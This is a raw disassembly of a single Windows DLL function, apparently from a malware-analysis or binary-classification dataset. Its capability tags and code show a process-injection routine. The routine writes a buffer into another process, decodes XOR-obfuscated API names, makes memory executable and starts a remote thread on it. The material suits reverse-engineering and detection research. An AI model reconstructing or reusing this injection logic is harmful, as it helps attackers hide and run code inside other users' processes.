Function at 0x18001a6e0
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
mov rax, rsp
mov qword [rax + 0x20], r9
mov qword [rax + 0x18], r8
mov qword [rax + 0x10], rdx
mov qword [rax + 8], rcx
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x218]
sub rsp, 0x2d8
movaps xmmword [rax - 0x58], xmm6
movaps xmmword [rax - 0x68], xmm7
movaps xmmword [rax - 0x78], xmm8
mov rbx, rdx
mov r13, rcx
xor r15d, r15d
mov r12, qword [rcx + 0x18]
lea rax, [r12 - 1]
cmp rax, 0xfffffffffffffffd
ja 0x18001b699
mov edi, 4
mov dword [rsp + 0x20], edi
mov r9d, 0x3000
mov r8, qword [rdx + 0x10]
xor edx, edx
mov rcx, r12
call fcn.1800136e0
mov r14, rax
mov qword [rsp + 0x68], rax
test rax, rax
jne 0x18001a7ae
mov rcx, r12
call qword [sym.imp.ntdll.dll_NtClose]
nop
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x18001a7a4
inc rdx
cmp rdx, 0x1000
mov rcx, qword [rbx]
jb 0x18001a79f
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x18001b710
mov rcx, r8
call fcn.1800afc8c
mov eax, 5
jmp 0x18001b6d4
mov r8, rbx
cmp qword [rbx + 0x18], 0x10
jb 0x18001a7bb
mov r8, qword [rbx]
mov r9, qword [rbx + 0x10]
mov rdx, r14
mov rcx, r12
call fcn.180012410
test al, al
jne 0x18001a7e7
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r14
mov rcx, r12
call fcn.180018760
jmp 0x18001a760
mov rsi, r15
mov rax, qword [0x180349f98]
cmp dword [rax + 0x20], 1
jne 0x18001ae83
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x18]
call fcn.1800958c0
nop
mov r13, qword [rbp + 0x18]
cmp r13, qword [rbp + 0x20]
je 0x18001add9
lea rsi, [r13 + 0x30]
mov edi, reloc.WS2_32.dll_WSAStartup
xorps xmm0, xmm0
movups xmmword [rbp - 0x28], xmm0
mov qword [rbp - 0x18], r15
mov qword [rbp - 0x10], r15
lea rdx, [rsi + 0x200]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp word [rdx + r8*2], 0
jne 0x18001a840
lea rcx, [rbp - 0x28]
call fcn.180006720
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x68]
call fcn.180093fe0
nop
movups xmm0, xmmword [str.GLEC_T_t_t_]
movups xmmword [rsp + 0x40], xmm0
movzx eax, word [0x18014dc08]
mov word [rsp + 0x40], di
xor word [rsp + 0x42], 0x35
xor word [rsp + 0x44], 0x36
xor word [rsp + 0x46], 0x37
xor word [rsp + 0x48], 0x38
xor word [rsp + 0x4a], 0x39
xor word [rsp + 0x4c], 0x3a
xor word [rsp + 0x4e], 0x3b
xor ax, 0x3c
mov word [rsp + 0x50], ax
lea rcx, [rsp + 0x40]
mov rax, 0xffffffffffffffff
nop dword [rax]
inc rax
cmp word [rcx + rax*2], 0
jne 0x18001a8c0
lea rcx, [rbp - 0x68]
mov r14, qword [rbp - 0x50]
cmp r14, 8
setae r15b
mov rdi, qword [rbp - 0x68]
cmovae rcx, rdi
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x40]
xor r8d, r8d
mov rdx, qword [rbp - 0x58]
call fcn.180012720
cmp rax, 0xffffffffffffffff
je 0x18001a93c
test r15b, r15b
je 0x18001ada5
lea rdx, [r14*2 + 2]
mov rax, rdi
cmp rdx, 0x1000
jb 0x18001a934
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001b71c
mov rcx, rdi
jmp 0x18001ada0
xorps xmm0, xmm0
movups xmmword [rbp - 8], xmm0
xor edi, edi
mov qword [rbp + 8], rdi
mov qword [rbp + 0x10], rdi
mov r8, 0xffffffffffffffff
inc r8
cmp word [rsi + r8*2], di
jne 0x18001a954
mov rdx, rsi
lea rcx, [rbp - 8]
call fcn.180006720
lea rdx, [rbp - 8]
lea rcx, [rbp + 0x80]
call fcn.180093fe0
nop
movups xmm3, xmmword [str._PDY_U_t_t]
movups xmmword [rbp - 0x48], xmm3
movsd xmm0, qword [0x18014dbe8]
movsd qword [rbp - 0x38], xmm0
movzx eax, word [0x18014dbf0]
mov word [rbp - 0x30], ax
mov ecx, edi
mov r15d, dword [reloc.WS2_32.dll_accept]
mov r10d, 4
lea r11d, [r10 + 0x1b]
cmp r15d, 2
jl 0x18001aa9f
movdqa xmm4, xmmword [0x180151970]
movd xmm6, r10d
movd xmm5, r11d
movdqa xmm2, xmmword [0x180151790]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1801517b0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm2, xmmword [0x180151880]
movq xmm1, xmm3
xorps xmm2, xmm1
movq qword [rbp - 0x48], xmm2
movdqa xmm3, xmmword [0x1801517a0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1801517b0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm2, xmmword [0x180151880]
movq xmm0, qword [rbp - 0x40]
xorps xmm2, xmm0
movq qword [rbp - 0x40], xmm2
mov ecx, 8
movsxd rax, ecx
lea r8, [rbp - 0x48]
lea r8, [r8 + rax*2]
nop word [rax + rax]
mov eax, 0x5397829d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul edx, eax, 0x31
movzx eax, cx
sub ax, dx
add ax, 0x34
xor word [r8], ax
inc ecx
lea r8, [r8 + 2]
cmp ecx, 0xd
jl 0x18001aab0
lea rcx, [rbp - 0x48]
mov rax, 0xffffffffffffffff
nop dword [rax + rax]
inc rax
cmp word [rcx + rax*2], 0
jne 0x18001aaf0
lea r8, [rbp + 0x80]
mov r14, qword [rbp + 0x98]
cmp r14, 8
setae r9b
mov rdi, qword [rbp + 0x80]
cmovae r8, rdi
mov rdx, qword [rbp + 0x90]
cmp rdx, rax
jne 0x18001ad2a
lea rcx, [rbp - 0x48]
test rdx, rdx
je 0x18001ab58
lea rax, [rbp - 0x48]
sub r8, rax
nop dword [rax + rax]
movzx eax, word [r8 + rcx]
cmp ax, word [rcx]
jne 0x18001ad2a
add rcx, 2
sub rdx, 1
jne 0x18001ab40
movsd xmm0, qword [str.xZWStPXI_OG_]
movsd qword [rsp + 0x40], xmm0
mov eax, dword [0x18014dbd0]
mov dword [rsp + 0x48], eax
movzx eax, byte [0x18014dbd4]
mov byte [rsp + 0x4c], al
xor r8d, r8d
cmp r15d, 2
jl 0x18001ac8a
movdqa xmm4, xmmword [0x180151970]
movd xmm6, r10d
movd xmm5, r11d
movdqa xmm2, xmmword [0x180151790]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1801517b0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1801518a0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x1801518c0]
movd xmm0, dword [str.xZWStPXI_OG_]
xorps xmm2, xmm0
movd dword [rsp + 0x40], xmm2
movdqa xmm3, xmmword [0x1801517a0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1801517b0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1801518a0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x1801518c0]
movd xmm0, dword [rsp + 0x44]
xorps xmm2, xmm0
movd dword [rsp + 0x44], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rsp + 0x40]
add r9, rax
nop word [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x18001aca0
xorps xmm0, xmm0
movups xmmword [rbp - 0x28], xmm0
xor r15d, r15d
mov qword [rbp - 0x18], r15
mov qword [rbp - 0x10], r15
lea rax, [rsp + 0x40]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], r15b
jne 0x18001acf0
lea rdx, [rsp + 0x40]
lea rcx, [rbp - 0x28]
call fcn.180006940
lea rdx, [r13 + 0x230]
lea rcx, [rbp - 0x28]
call fcn.180096fe0
test eax, eax
je 0x18001adee
mov esi, eax
add rsi, qword [r13 + 0x18]
jmp 0x18001adf1
test r9b, r9b
je 0x18001ad65
lea rdx, [r14*2 + 2]
mov rax, rdi
cmp rdx, 0x1000
jb 0x18001ad5c
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001b716
mov rcx, rdi
call fcn.1800afc8c
nop
mov rdx, qword [rbp - 0x50]
cmp rdx, 8
jb 0x18001ada5
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001ada0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001b71c
call fcn.1800afc8c
xor r15d, r15d
mov qword [rbp - 0x58], r15
mov qword [rbp - 0x50], 7
mov word [rbp - 0x68], r15w
add r13, 0x438
add rsi, 0x438
cmp r13, qword [rbp + 0x20]
jne 0x18001a81c
mov esi, r15d
mov r14, qword [rsp + 0x68]
lea rcx, [rbp + 0x18]
call fcn.180012300
mov r13, qword [rbp + 0x220]
jmp 0x18001b1ac
mov rsi, r15
cmp r14, 8
jb 0x18001ae2d
lea rdx, [r14*2 + 2]
mov rax, rdi
cmp rdx, 0x1000
jb 0x18001ae24
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001b716
mov rcx, rdi
call fcn.1800afc8c
nop
mov rdx, qword [rbp - 0x50]
cmp rdx, 8
jb 0x18001ae6d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001ae68
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001b71c
call fcn.1800afc8c
mov qword [rbp - 0x58], r15
mov qword [rbp - 0x50], 7
mov word [rbp - 0x68], r15w
jmp 0x18001add4
movsd xmm0, qword [str.xZWStPXI_OG_]
movsd qword [rsp + 0x58], xmm0
mov eax, dword [0x18014dbd0]
mov dword [rsp + 0x60], eax
movzx eax, byte [0x18014dbd4]
mov byte [rsp + 0x64], al
mov r8d, r15d
mov r11d, 0x1f
mov r10d, dword [reloc.WS2_32.dll_accept]
cmp r10d, 2
jl 0x18001afc7
movdqa xmm4, xmmword [0x180151970]
movd xmm6, edi
movd xmm5, r11d
movdqa xmm2, xmmword [0x180151790]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1801517b0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1801518a0]
packuswb xmm2, xmm2
mov eax, dword [0x1801518c0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.xZWStPXI_OG_]
xorps xmm2, xmm0
movd dword [rsp + 0x58], xmm2
movdqa xmm3, xmmword [0x1801517a0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1801517b0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1801518a0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x5c]
xorps xmm2, xmm1
movd dword [rsp + 0x5c], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rsp + 0x58]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x18001afe0
movsd xmm0, qword [0x18014dbb8]
movsd qword [rsp + 0x68], xmm0
mov eax, dword [0x18014dbc0]
mov dword [rsp + 0x70], eax
movzx eax, byte [0x18014dbc4]
mov byte [rsp + 0x74], al
mov r8d, r15d
cmp r10d, 2
jl 0x18001b147
movdqa xmm4, xmmword [0x180151970]
movd xmm6, edi
movd xmm5, r11d
movdqa xmm2, xmmword [0x180151790]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1801517b0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1801518a0]
packuswb xmm2, xmm2
mov eax, dword [0x1801518c0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x18014dbb8]
xorps xmm2, xmm0
movd dword [rsp + 0x68], xmm2
movdqa xmm3, xmmword [0x1801517a0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1801517b0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1801518a0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x6c]
xorps xmm2, xmm1
movd dword [rsp + 0x6c], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rsp + 0x68]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x18001b160
lea rcx, [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, [rsp + 0x58]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, rax
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], r14
mov r9, rsi
xor r8d, r8d
xor edx, edx
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rdi, rax
lea rcx, [rax - 1]
cmp rcx, 0xfffffffffffffffd
ja 0x18001b658
mov edx, 0x7d0
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rdi
call qword [sym.imp.ntdll.dll_NtClose]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r14
mov rcx, r12
call fcn.180018760
mov rsi, qword [rbx + 0x10]
mov rdi, rbx
mov r14, qword [rbx + 0x18]
cmp r14, 0x10
jb 0x18001b21c
mov rdi, qword [rbx]
test rsi, rsi
je 0x18001b2b1
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xa0], xmm0
movups xmmword [rbp + 0xb0], xmm0
movups xmmword [rbp + 0xc0], xmm0
movups xmmword [rbp + 0xd0], xmm0
movups xmmword [rbp + 0xe0], xmm0
mov qword [rbp + 0xf0], rax
mov dword [rbp + 0xf8], eax
xor edx, edx
mov r8d, 0xa3
lea rcx, [rbp + 0xfd]
call fcn.1800b2880
mov byte [rbp + 0xfc], 1
lea rax, [rsi - 1]
mov rcx, 0xffffffffffffffff
cmp rax, rcx
cmovb rcx, rax
add rcx, rdi
movzx eax, byte [rcx]
cmp byte [rbp + rax + 0xa0], 0
jne 0x18001b2ac
cmp rcx, rdi
je 0x18001b2b1
dec rcx
movzx eax, byte [rcx]
cmp byte [rbp + rax + 0xa0], 0
je 0x18001b297
sub rcx, rdi
jmp 0x18001b2b8
mov rcx, 0xffffffffffffffff
inc rcx
mov r8, rsi
sub r8, rcx
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
mov qword [rbp - 0x78], r15
mov qword [rbp - 0x70], r15
cmp rsi, rcx
jb 0x18001b722
mov rax, rbx
cmp r14, 0x10
jb 0x18001b2e6
mov rax, qword [rbx]
lea rdx, [rax + rcx]
lea rcx, [rsp + 0x78]
call fcn.180006940
nop
xor r15b, r15b
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
mov r14, rax
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
nop dword [rax]
lea rdx, [rsp + 0x78]
cmp qword [rbp - 0x70], 0x10
setae r10b
cmovae rdx, qword [rsp + 0x78]
mov r8, qword [rbp - 0x78]
add r8, rdx
lea rdx, [rsp + 0x78]
test r10b, r10b
cmovne rdx, qword [rsp + 0x78]
lea rcx, [rbp - 8]
call fcn.180014fd0
nop
cmp qword [rax + 0x18], 8
jb 0x18001b34d
mov rax, qword [rax]
xor r8d, r8d
mov rdx, rax
mov ecx, dword [r13]
call fcn.1800951f0
mov rdi, rax
mov rdx, qword [rbp + 0x10]
cmp rdx, 8
jb 0x18001b39f
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001b39a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001b72e
call fcn.1800afc8c
xor eax, eax
mov qword [rbp + 8], rax
mov qword [rbp + 0x10], 7
mov word [rbp - 8], ax
lea esi, [rax + 0xc]
test rdi, rdi
jne 0x18001b480
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
sub rax, r14
cmp rax, 0x1388
jbe 0x18001b310
xor edi, edi
mov rcx, r12
call qword [sym.imp.ntdll.dll_NtClose]
test r15b, r15b
cmovne esi, edi
mov rdx, qword [rbp - 0x70]
cmp rdx, 0x10
jb 0x18001b41f
inc rdx
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001b41a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001b728
call fcn.1800afc8c
mov qword [rbp - 0x78], rdi
mov qword [rbp - 0x70], send
mov byte [rsp + 0x78], 0
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x18001b46a
inc rdx
mov rcx, qword [rbx]
cmp rdx, 0x1000
jb 0x18001b465
add rdx, 0x27
mov rax, qword [rcx - 8]
sub rcx, rax
add rcx, 0xfffffffffffffff8
cmp rcx, 0x1f
ja 0x18001b710
mov rcx, rax
call fcn.1800afc8c
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], send
mov byte [rbx], 0
mov eax, esi
jmp 0x18001b6e3
mov r15b, 1
mov r13, qword [rbp + 0x230]
test r13, r13
je 0x18001b3d2
mov r14, qword [rbp + 0x238]
test r14, r14
je 0x18001b3d2
mov qword [rsp + 0x68], rdi
xor edi, edi
mov dword [rbp + 0x220], edi
mov qword [rsp + 0x40], r14
lea rax, [rsp + 0x68]
mov qword [rsp + 0x58], rax
mov rax, qword [0x180349f98]
cmp dword [rax + 0x28], edi
je 0x18001b56f
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
cmp r12, rax
je 0x18001b53f
test r12, 0xffffffffa0000000
je 0x18001b53f
test r12b, 3
jne 0x18001b53f
mov qword [rbp + 0x30], rdi
mov qword [rbp + 0x48], rdi
mov qword [rbp + 0x60], rdi
mov qword [rbp + 0x6c], rdi
mov dword [rbp + 0x74], edi
mov qword [rbp + 0x78], 0x25
mov qword [rbp + 0x38], r12
lea rax, [rsp + 0x58]
mov qword [rbp + 0x40], rax
lea rax, [rsp + 0x40]
mov qword [rbp + 0x50], rax
mov dword [rbp + 0x68], 0x40
lea rax, [rbp + 0x220]
mov qword [rbp + 0x58], rax
lea rdx, [rbp + 0x30]
mov ecx, esi
call fcn.180023c40
mov dword [0x18034a2a8], eax
jmp 0x18001b594
mov rax, qword [0x18034a1f0]
lea rcx, [rbp + 0x220]
mov qword [rsp + 0x20], rcx
mov r9d, 0x40
lea r8, [rsp + 0x40]
lea rdx, [rsp + 0x58]
mov rcx, r12
call rax
mov dword [0x18034a2a8], eax
jmp 0x18001b594
lea rax, [rbp + 0x220]
mov qword [rsp + 0x20], rax
mov r9d, 0x40
lea r8, [rsp + 0x40]
lea rdx, [rsp + 0x58]
mov rcx, r12
call qword [sym.imp.ntdll.dll_NtProtectVirtualMemory]
test eax, eax
sete al
test al, al
je 0x18001b5b8
mov r9, r14
mov r8, r13
mov rdx, qword [rsp + 0x68]
mov rcx, r12
call fcn.180012410
test al, al
jne 0x18001b3d4
mov rdx, qword [rbp - 0x70]
cmp rdx, 0x10
jb 0x18001b5f4
inc rdx
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001b5ef
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001b734
call fcn.1800afc8c
mov qword [rbp - 0x78], rdi
mov qword [rbp - 0x70], send
mov byte [rsp + 0x78], 0
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x18001b63f
inc rdx
mov rcx, qword [rbx]
cmp rdx, 0x1000
jb 0x18001b63a
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x18001b70a
mov rcx, r8
call fcn.1800afc8c
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], send
mov byte [rbx], 0
mov eax, listen
jmp 0x18001b6e3
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x18001b692
inc rdx
mov rcx, qword [rbx]
cmp rdx, 0x1000
jb 0x18001b68d
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x18001b710
mov rcx, r8
call fcn.1800afc8c
mov eax, 6
jmp 0x18001b6d4
mov rdx, qword [rdx + 0x18]
cmp rdx, 0x10
jb 0x18001b6cf
inc rdx
mov rcx, qword [rbx]
cmp rdx, 0x1000
jb 0x18001b6ca
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x18001b710
mov rcx, r8
call fcn.1800afc8c
mov eax, 4
mov byte [rbx], 0
mov qword [rbx + 0x18], send
mov qword [rbx + 0x10], r15
lea r11, [rsp + 0x2d8]
movaps xmm6, xmmword [r11 - 0x18]
movaps xmm7, xmmword [r11 - 0x28]
movaps xmm8, xmmword [r11 - 0x38]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
call fcn.1800bbb24
int3
call fcn.1800bbb24
nop
call fcn.1800bbb24
nop
call fcn.1800bbb24
nop
call fcn.180005de0
int3
call fcn.1800bbb24
nop
call fcn.1800bbb24
nop
call fcn.1800bbb24
int3